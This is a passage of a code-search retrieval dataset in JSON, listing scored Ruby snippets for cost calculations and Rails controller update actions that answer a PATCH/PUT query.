"text": "def get_cost(property, checkin, checkout)\n # get date information if that property is available\n if (dateinfo = available_dateinfo(property, checkin, checkout))\n # calculate the normal cost\n total_price = property.price * (checkout-checkin)\n\n # factor in for special costs\n dateinfo.each do |date|\n if date.price\n total_price += date.price - property.price\n end\n end\n else\n return nil\n end\n\n return total_price\nend",
"title": ""
},
{
"docid": "2ad61b94f53d756e4e8197763aad101f",
"score": "0.6372882",
"text": "def cost(op)\n { materials: 0.84, labor: 1.24 }\nend",
"title": ""
},
{
"docid": "abe80dedc70766ff6484eed3a033fddd",
"score": "0.6370113",
"text": "def unit_cost\n @unit_cost ||= component ? component.cost : 0\n end",
"title": ""
},
{
"docid": "e9a3db35ca799e3c97bc809596124495",
"score": "0.6368067",
"text": "def cost=(value)\n @cost = value\n end",
"title": ""
},
{
"docid": "e9a3db35ca799e3c97bc809596124495",
"score": "0.6368067",
"text": "def cost=(value)\n @cost = value\n end",
"title": ""
},
{
"docid": "ade3bf8bbae769980df7a62b4424464f",
"score": "0.63669324",
"text": "def benchmarkedcosts\n benchmark_rate = @benchmark_rates[@service_ref].to_f\n @benchmarkedcosts = benchmark_rate * @uom_vol\n end",
"title": ""
},
{
"docid": "f967f21c1f1c1fe8af63728e8acbc62c",
"score": "0.6358702",
"text": "def calculate_fcost(p)\n\t\t@hcosts[p] + @gcosts[p]\n\tend",
"title": ""
},
{
"docid": "e6b13485abdc995192af953dcab117be",
"score": "0.6347707",
"text": "def cost \n return @extra_cost + @basic_prescription.cost\n end",
"title": ""
},
{
"docid": "12b45aae1d21b5925c31759729e67078",
"score": "0.6346894",
"text": "def total_cost\n @meal_cost + @tip_amount\n end",
"title": ""
},
{
"docid": "fd24699170d0847d39a82aedd83404c5",
"score": "0.634614",
"text": "def get_cost_for_duration(resource, duration) ; 1.0 end",
"title": ""
},
{
"docid": "6125a7c96942a14337dbe672bfccc29e",
"score": "0.633985",
"text": "def total_cost\n lifter_memberships.map {|membership| membership.cost}.sum\n end",
"title": ""
},
{
"docid": "903b3f423326f319d7e2e3e0d1ba7674",
"score": "0.63335985",
"text": "def shipping_cost_based_on_weight\n shipping_weight_price total_weight\n end",
"title": ""
},
{
"docid": "62f0b36b7098ef2a3c4c3c74153731aa",
"score": "0.632922",
"text": "def total_cost\n# Get the total cost of a specific lifter's gym memberships\n membs_cost = memberships.map{|membership|membership.cost}\n cost_total = membs_cost.inject(:+)\n end",
"title": ""
},
{
"docid": "52639abaf5b29ccd80072e8939e8c9a8",
"score": "0.6324768",
"text": "def cost\n super + 0.20\n end",
"title": ""
},
{
"docid": "13d92d35e6378f9e0c2ba66f746c827d",
"score": "0.63168925",
"text": "def total_charged\n return self.trips.sum(&:cost)\n end",
"title": ""
},
{
"docid": "32b1a2b4e2d79afa02f54af8eb915062",
"score": "0.6307915",
"text": "def cost\n super + 0.15\n end",
"title": ""
},
{
"docid": "6c71097737c7eff233112bfae46f6952",
"score": "0.6307824",
"text": "def sitting_costs\n [cost_per_night, remote_price].compact\n end",
"title": ""
},
{
"docid": "09b7c1b7d46a5191f1396ecf199a26f4",
"score": "0.63040745",
"text": "def get_cost(current_coordinates, goal_vector)\n\t\t\tNMath.sqrt(((current_coordinates - goal_vector) ** 2).sum)\n\t\tend",
"title": ""
},
{
"docid": "9ff1e1f36eab8e023235aec1f86fe68f",
"score": "0.630279",
"text": "def total_cost\n order_details.inject(0) { |sum, od| sum += od.total }\n end",
"title": ""
},
{
"docid": "0c839051050ef5898dc73ee56c470df1",
"score": "0.6289898",
"text": "def cost\n super + 0.10\n end",
"title": ""
},
{
"docid": "0c839051050ef5898dc73ee56c470df1",
"score": "0.6289898",
"text": "def cost\n super + 0.10\n end",
"title": ""
},
{
"docid": "5e3739f74d0be0747b560b99636d78e9",
"score": "0.62890446",
"text": "def total_cost(count)\n on_sale? ? sale_price_total(count) : full_price_total(count)\n end",
"title": ""
},
{
"docid": "76557deb9df703e1253b6517da61c6ac",
"score": "0.62859625",
"text": "def per_ticket_cost\n flight_cost\n end",
"title": ""
},
{
"docid": "f573356b54933206542c86c5eb888770",
"score": "0.62830454",
"text": "def cost(recalculate=false)\n ((!recalculate && super()) || (line_items.map(&:cost).sum + postage_cost.try(:cost).to_i))-gift_card_value\n end",
"title": ""
},
{
"docid": "f92ee7c0d39fa57eeb9cc4c0c4f9a220",
"score": "0.62805855",
"text": "def total_fuel_cost\n self.inject(0) do |accum,trip|\n accum += trip.fuel_cost_usd\n accum\n end\n end",
"title": ""
},
{
"docid": "614edf0a05bf2d4ad8cd6eca32b4cabe",
"score": "0.6274824",
"text": "def cost \n return @extra_cost + @basic_drug.cost\n end",
"title": ""
},
{
"docid": "fb4208bf9850c009d8807237ab9d5376",
"score": "0.6272533",
"text": "def total_cost\n line_items.to_a.sum {|item| item.total_cost}\n end",
"title": ""
},
{
"docid": "ded4f402e7c7ad74c8a15da401ea78de",
"score": "0.6271788",
"text": "def cost\r\n\t\t@lr.compute_cost.class != NaN\r\n\tend",
"title": ""
},
{
"docid": "b421398a3c68e955d42d2997044d9fb3",
"score": "0.6265984",
"text": "def total_cost\n total_cost = 0\n trips.each do |trip|\n total_cost += trip.cost\n end\n return \"$ #{total_cost/100.round(2)}\"\n end",
"title": ""
},
{
"docid": "9bf64def786c3b2445b7bb02419eef7b",
"score": "0.62626743",
"text": "def calculate_total_cost(a, stripped_row, k)\n total_cost = 0\n count = 0\n sum = 0\n delivery = \"\"\n mul_value = (a[:\"Cost Per GB\"].to_i * stripped_row[1].to_i)\n if mul_value >= a[:\"Minimum Cost\"].to_i\n if count > 0\n if mul_value < sum\n sum = mul_value\n delivery = k\n total_cost = sum\n return total_cost, delivery\n end\n else\n sum = mul_value\n count += 1\n total_cost = sum\n delivery = k\n return total_cost, delivery\n end\n end\n end",
"title": ""
},
{
"docid": "f47aa02c66d56e0bb371d488d49206b3",
"score": "0.6259623",
"text": "def worth_at_cost\n worth= cost*quantity\n return worth\n end",
"title": ""
}
] |
d8e2071c62c72f303c3abba6a42c413b | PATCH/PUT /contatti/1 PATCH/PUT /contatti/1.json | [
{
"docid": "93fb72a0a906567f5a40322595cf7dae",
"score": "0.64626616",
"text": "def update\n respond_to do |format|\n if @contatto.update(contatto_params)\n format.html { redirect_to @contatto, notice: 'Contatto was successfully updated.' }\n format.json { render :show, status: :ok, location: @contatto }\n else\n format.html { render :edit }\n format.json { render json: @contatto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "768a6012c7d5ff856dec69d115bfafcc",
"score": "0.68392813",
"text": "def update\n @conta = Conta.find(params[:id])\n\n respond_to do |format|\n if @conta.update_attributes(params[:conta])\n format.html { redirect_to @conta, notice: 'Conta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1643d1af8b29408d5973180380c0d354",
"score": "0.678289",
"text": "def update\n respond_to do |format|\n if @conta.update(conta_params)\n format.html { redirect_to contas_path, notice: \"Conta #{@conta.nome} Atualizada com Sucesso! \"}\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2beb9c36d1483cf9f9f858e4023cd4f0",
"score": "0.6733024",
"text": "def update\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n if @servico.update_attributes(params[:servico])\n format.html { redirect_to @servico, notice: 'Servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2beb9c36d1483cf9f9f858e4023cd4f0",
"score": "0.6733024",
"text": "def update\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n if @servico.update_attributes(params[:servico])\n format.html { redirect_to @servico, notice: 'Servico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d9d77e2c47861f36636dfcd4c24bc489",
"score": "0.6727094",
"text": "def update\n @clientetipo = Clientetipo.find(params[:id])\n\n respond_to do |format|\n if @clientetipo.update_attributes(params[:clientetipo])\n format.html { redirect_to @clientetipo, notice: 'Clientetipo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clientetipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ddff0ac1268fc8a993c83c3f1a30fe90",
"score": "0.66621995",
"text": "def update\n respond_to do |format|\n if @conta.update(conta_params)\n addlog(\"Atualizou uma conta\")\n format.html { redirect_to @conta, notice: 'Conta atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9939d104cc69ee0603b44e21eac25e30",
"score": "0.6653007",
"text": "def update\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n if @servico.update_attributes(params[:servico])\n format.html { redirect_to @servico, notice: 'Servico foi atualiazado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1fa22556a525c8f14fd5b2d4245d586b",
"score": "0.66387504",
"text": "def update\n respond_to do |format|\n if @conta.update(conta_params)\n format.html { redirect_to @conta, notice: 'Conta was successfully updated.' }\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5bd15daa9f941a651a52d0970f761083",
"score": "0.66356975",
"text": "def update\n respond_to do |format|\n if @conta.update(conta_params)\n format.html { redirect_to @conta, notice: 'conta atualizada com sucesso.' }\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c37523bf37ba96cdc290143bcb9b9c0a",
"score": "0.6622767",
"text": "def update\n @condominios = Condominio.find(params[:id])\n\n respond_to do |format|\n if @condominios.update_attributes(params[:condominio])\n format.html { redirect_to @condominios, notice: 'Condominio was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @condominios.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b363c81837236ae516c8cbd87565f89",
"score": "0.6599033",
"text": "def update\r\n respond_to do |format|\r\n if @sivic_contato.update(sivic_contato_params)\r\n format.html { redirect_to @sivic_contato, notice: 'Sivic contato was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_contato.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "cf63ca6298156736dc3c695cfe8dae1d",
"score": "0.65789336",
"text": "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to admin_pessoa_servicos_path(@pessoa), notice: 'Serviço foi atualizada com sucesso.' }\n format.json { head :no_content }\n else\n get_dependencies\n format.html { render action: 'edit' }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b119e51db0ec07a9ac62437251af7f3d",
"score": "0.6569717",
"text": "def update\n @cotacoes = Cotacao.find(params[:id])\n\n respond_to do |format|\n if @cotacoes.update_attributes(params[:contato])\n format.html { redirect_to [:admin, @cotacoes], notice: 'Contato was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cotacoes.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "17770383d08343505d235dedfe5c865c",
"score": "0.65636164",
"text": "def update\r\n respond_to do |format|\r\n if @contato.update(contato_params)\r\n format.html { redirect_to @contato, notice: 'Contato was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @contato }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @contato.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "b9ef5fdb20b4511ab1e54e1efe9b5626",
"score": "0.6539967",
"text": "def update\n respond_to do |format|\n if @servico_cruzeiro.update(servico_cruzeiro_params)\n format.html { redirect_to @servico_cruzeiro, notice: 'Cruzeiro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_cruzeiro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1051a53bec2f553ab06aafa92fac9941",
"score": "0.65290695",
"text": "def update\n @controle = Controle.find(params[:id])\n\n respond_to do |format|\n if @controle.update_attributes(params[:controle])\n format.html { redirect_to @controle, notice: 'Controle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @controle.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8030b6a3a618d66537d0f1f7e1a4175e",
"score": "0.6507711",
"text": "def update\n @oficio = Oficio.find(params[:id])\n\n respond_to do |format|\n if @oficio.update_attributes(params[:oficio])\n format.html { redirect_to @oficio, notice: 'Oficio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @oficio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "769d86257383708d09a54ad486babaee",
"score": "0.6505393",
"text": "def update\n @cotacao = Cotacao.find(params[:id])\n\n respond_to do |format|\n if @cotacao.update_attributes(params[:cotacao])\n format.html { redirect_to [:admin, @cotacao], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cotacao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8cf5582be869fc5b155331c1d0f7a490",
"score": "0.64828694",
"text": "def update\n @oferta = Oferta.find(params[:id])\n\n respond_to do |format|\n if @oferta.update_attributes(params[:oferta])\n format.html { redirect_to @oferta, :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @oferta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3617d428e79e05def5b33b3391dc7f30",
"score": "0.64798915",
"text": "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to @servico, notice: 'Servico was successfully updated.' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f27525db212348d4b89ba472257e0c26",
"score": "0.647375",
"text": "def update\n @contum = Contum.find(params[:id])\n\n respond_to do |format|\n if @contum.update_attributes(params[:contum])\n format.html { redirect_to @contum, notice: 'Contum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1326bf4a921a2c1a7718ad3815ab546a",
"score": "0.6471014",
"text": "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to @servico, notice: 'Serviço alterado com sucesso!' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9eb75dd05dde41b770ace54b001a8d3b",
"score": "0.6465588",
"text": "def update\n prepara_form\n respond_to do |format|\n if @veiculo.update(veiculo_params)\n format.html { redirect_to @veiculo, notice: 'Veiculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @veiculo }\n else\n format.html { render :edit }\n format.json { render json: @veiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1199911e0288c4bc1d958bcad8d02bb8",
"score": "0.64615256",
"text": "def update\n respond_to do |format|\n if @conteo.update(conteo_params)\n format.html { redirect_to @conteo, notice: 'Conteo was successfully updated.' }\n format.json { render :show, status: :ok, location: @conteo }\n else\n format.html { render :edit }\n format.json { render json: @conteo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1627e1dc7dd3969c2664114bff1fdea1",
"score": "0.6457091",
"text": "def update\n\tputs \"update\"\n #TODO: narazie koncepcja filtru jest czysta abstrakcja \n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.json { head :ok }\n else\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "08e1eee08b034371ba61f3462a3d4714",
"score": "0.6456033",
"text": "def update\n respond_to do |format|\n if @comentario.update(comentario_params)\n format.html { redirect_to @local, notice: 'Comentario fue editado.' }\n else\n format.html { render :edit }\n end\n format.json { respond_with_bip(@comentario) }\n end\n end",
"title": ""
},
{
"docid": "23938c68ef9abf0f7f952b2be1a5b0e8",
"score": "0.64326197",
"text": "def update\n @pelicula = Pelicula.find(params[:id])\n @pelicula.update(update_params)\n render json: @pelicula, status: :ok\n end",
"title": ""
},
{
"docid": "3bb0de9bc454565a738692623fc5753a",
"score": "0.64312893",
"text": "def update\n @contenu = Contenu.find(params[:id])\n\n respond_to do |format|\n if @contenu.update_attributes(params[:contenu])\n format.html { redirect_to @contenu, notice: 'Contenu was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contenu.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6486ef0b0608a2fedd01a827af04cc08",
"score": "0.6424947",
"text": "def update\n respond_to do |format|\n if @pessoa_contato.update(pessoa_contato_params)\n format.html { redirect_to @pessoa_contato, notice: 'Pessoa contato was successfully updated.' }\n format.json { render :show, status: :ok, location: @pessoa_contato }\n else\n format.html { render :edit }\n format.json { render json: @pessoa_contato.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "47e4f698013b6873a59111e77a123142",
"score": "0.6417304",
"text": "def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to @servico, notice: 'Serviço foi atualizado com sucesso!' }\n format.json { render :show, status: :ok, location: @servico }\n else\n format.html { render :edit }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5cd2728312b02a43c70b734c7300d524",
"score": "0.64159954",
"text": "def update\n @conta_receber = ContaReceber.find(params[:id])\n\n respond_to do |format|\n if @conta_receber.update_attributes(params[:conta_receber])\n format.html { redirect_to @conta_receber, :notice => 'Conta receber was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @conta_receber.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36425ac5f583abed249c631a73bc491e",
"score": "0.64145917",
"text": "def update\n respond_to do |format|\n if @veiculo.update(veiculo_params)\n format.html { redirect_to @veiculo, notice: 'Veiculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @veiculo }\n else\n format.html { render :edit }\n format.json { render json: @veiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36425ac5f583abed249c631a73bc491e",
"score": "0.64145917",
"text": "def update\n respond_to do |format|\n if @veiculo.update(veiculo_params)\n format.html { redirect_to @veiculo, notice: 'Veiculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @veiculo }\n else\n format.html { render :edit }\n format.json { render json: @veiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74b5fed3975d7bffe23a128e46a76ad1",
"score": "0.6406",
"text": "def update\n respond_to do |format|\n if @servicio.update(servicio_params)\n format.html { redirect_to @servicio, notice: 'Servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @servicio }\n else\n format.html { render :edit }\n format.json { render json: @servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4e01ebff374ad6edccf460fd44e2365a",
"score": "0.63965845",
"text": "def update\n respond_to do |format|\n if @fornecedor_contato.update(fornecedor_contato_params)\n format.html { redirect_to @fornecedor_contato, notice: 'Fornecedor contato was successfully updated.' }\n format.json { render :show, status: :ok, location: @fornecedor_contato }\n else\n format.html { render :edit }\n format.json { render json: @fornecedor_contato.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af7994ef8ccd3b1b5b803f66d519fc6e",
"score": "0.63893",
"text": "def update\n @conversazione = Conversazione.find(params[:id])\n\n respond_to do |format|\n if @conversazione.update_attributes(params[:conversazione])\n format.html { redirect_to @conversazione, notice: 'Conversazione was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conversazione.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e80b89e9a061c5b126724678ab88561",
"score": "0.63785183",
"text": "def update\n @resposta = Resposta.find(params[:id])\n\n respond_to do |format|\n if @resposta.update_attributes(params[:resposta])\n format.html { redirect_to @resposta, notice: 'Resposta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resposta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4060e7b669efb41617787caa900ddbc",
"score": "0.63658625",
"text": "def update\n @caixa = Caixa.find(params[:id])\n\n respond_to do |format|\n if @caixa.update_attributes(params[:caixa])\n format.html { redirect_to @caixa, notice: 'Caixa was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cd023481909eb43ddcd475c2215b770f",
"score": "0.6365206",
"text": "def update\n @punto_servicio = PuntoServicio.find(params[:id])\n\n respond_to do |format|\n if @punto_servicio.update_attributes(params[:punto_servicio])\n format.html { redirect_to @punto_servicio, notice: 'Punto servicio was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @punto_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e410b08331dc40fde29f992ebdd48d61",
"score": "0.6362632",
"text": "def update\n respond_to do |format|\n if @servico_passeio.update(servico_passeio_params)\n format.html { redirect_to @servico_passeio, notice: 'Passeio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_passeio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6e08c35c5710e04531d67e32970c315c",
"score": "0.6355773",
"text": "def update\n respond_to do |format|\n if @conteudo.update(conteudo_params)\n format.html { redirect_to @conteudo, notice: 'Conteudo was successfully updated.' }\n format.json { render :show, status: :ok, location: @conteudo }\n else\n format.html { render :edit }\n format.json { render json: @conteudo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "504bcbbf7653b1901ee5b3c2ddda2318",
"score": "0.6355688",
"text": "def update\n respond_to do |format|\n if @colegio.update(colegio_params)\n format.html { redirect_to @colegio, notice: 'Colegio was successfully updated.' }\n format.json { render :show, status: :ok, location: @colegio }\n else\n format.html { render :edit }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "504bcbbf7653b1901ee5b3c2ddda2318",
"score": "0.6355688",
"text": "def update\n respond_to do |format|\n if @colegio.update(colegio_params)\n format.html { redirect_to @colegio, notice: 'Colegio was successfully updated.' }\n format.json { render :show, status: :ok, location: @colegio }\n else\n format.html { render :edit }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa43590e4d83a6a0bd8b4dcb42c1cccb",
"score": "0.635027",
"text": "def update\n respond_to do |format|\n if @contadore.update(contadore_params)\n format.html { redirect_to @contadore, notice: 'Contadore was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contadore.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e20f447b8222e3634dec3ed36985d25b",
"score": "0.634773",
"text": "def update\n @cotacao = Cotacao.find(params[:id])\n\n respond_to do |format|\n if @cotacao.update_attributes(params[:cotacao])\n format.html { redirect_to @cotacao, :notice => 'Cotacao was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cotacao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.6346357",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.6346357",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "06d7ab98d45124a974432960858da262",
"score": "0.6345029",
"text": "def update\n @cliente_juridico = ClienteJuridico.find(params[:id])\n\n respond_to do |format|\n if @cliente_juridico.update_attributes(params[:cliente_juridico])\n format.html { redirect_to @cliente_juridico, notice: 'Cliente juridico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cliente_juridico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "276efd89d1de7f920e13a3c345f3d274",
"score": "0.6344653",
"text": "def update\n @indicacao = Indicacao.find(params[:id])\n if params[:concluida][:concluida] == 'cancelado'\n params[:indicacao][:cancelado] = 'true'\n params[:indicacao][:concluida] = nil\n end\n if params[:concluida][:concluida] == 'concluida'\n params[:indicacao][:concluida] = 'true'\n params[:indicacao][:cancelado] = nil\n end\n\n respond_to do |format|\n if @indicacao.update_attributes(params[:indicacao])\n format.html { redirect_to @indicacao, notice: 'Indicacao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @indicacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1bb90dfeca47cfab40b7b72a0afbd6a0",
"score": "0.6343837",
"text": "def update\n respond_to do |format|\n if @objeto.update(cita_params)\n format.html { redirect_to @objeto, notice: 'Cita was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1caef5dcc3f2a47497b45d689f4eb02a",
"score": "0.6342931",
"text": "def update\n @parceiros = Parceiro.all \n @novidades = Novidade.order('created_at').last(6) \n \n @contato = Contato.find(params[:id])\n\n respond_to do |format|\n if @contato.update_attributes(params[:contato])\n format.html { redirect_to @contato, notice: 'Contato atualizado com sucesso' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contato.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d2dcd0d0f9c448835b0aa704ce6f516",
"score": "0.6339541",
"text": "def update\n @cliente = Cliente.find(params[:id])\n\n respond_to do |format|\n if @cliente.update_attributes(params[:cliente])\n format.html { redirect_to [:admin, @cliente], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cliente.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "42e4d81ce0f91ce996dcbc347df2958d",
"score": "0.63265926",
"text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end",
"title": ""
},
{
"docid": "f32a19edee72249835db46ff180a5971",
"score": "0.63261306",
"text": "def update\n respond_to do |format|\n if @contato_telefonico.update(contato_telefonico_params)\n format.html { redirect_to @contato_telefonico, notice: 'Contato telefonico was successfully updated.' }\n format.json { render :show, status: :ok, location: @contato_telefonico }\n else\n format.html { render :edit }\n format.json { render json: @contato_telefonico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ed21d96d66552e21ecf51c8c7dd492af",
"score": "0.6323474",
"text": "def update\n\n respond_to do |format|\n if @idioma.update(idioma_params)\n format.html { redirect_to idiomas_path(@idioma, egresso_id: @idioma.egresso_id), notice: 'Idioma atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: idiomas_path }\n else\n format.html { render :edit }\n format.json { render json: @idioma.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "32b4d7031859158487bde31cfec2b2ca",
"score": "0.63207215",
"text": "def update\n @noticia = Noticia.find(params[:id])\n\n respond_to do |format|\n if @noticia.update_attributes(params[:noticia])\n format.html { redirect_to @noticia, notice: 'Noticia was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @noticia.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "675fc17d7d82fc95a1262629f8b5ec0a",
"score": "0.6316931",
"text": "def update\n respond_to do |format|\n if @consorcio.update(consorcio_params)\n format.html { redirect_to @consorcio, notice: 'Consorcio was successfully updated.' }\n format.json { render :show, status: :ok, location: @consorcio }\n else\n format.html { render :show }\n format.json { render json: @consorcio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dabaaacc799019b0211d250061f3be92",
"score": "0.631639",
"text": "def update\n @servico = Servico.find(params[:id])\n\n respond_to do |format|\n if @servico.update_attributes(params[:servico])\n\n format.html { redirect_to(servicos_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @servico.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e02f210ad9e44d5f1187f0bec82d868b",
"score": "0.6316009",
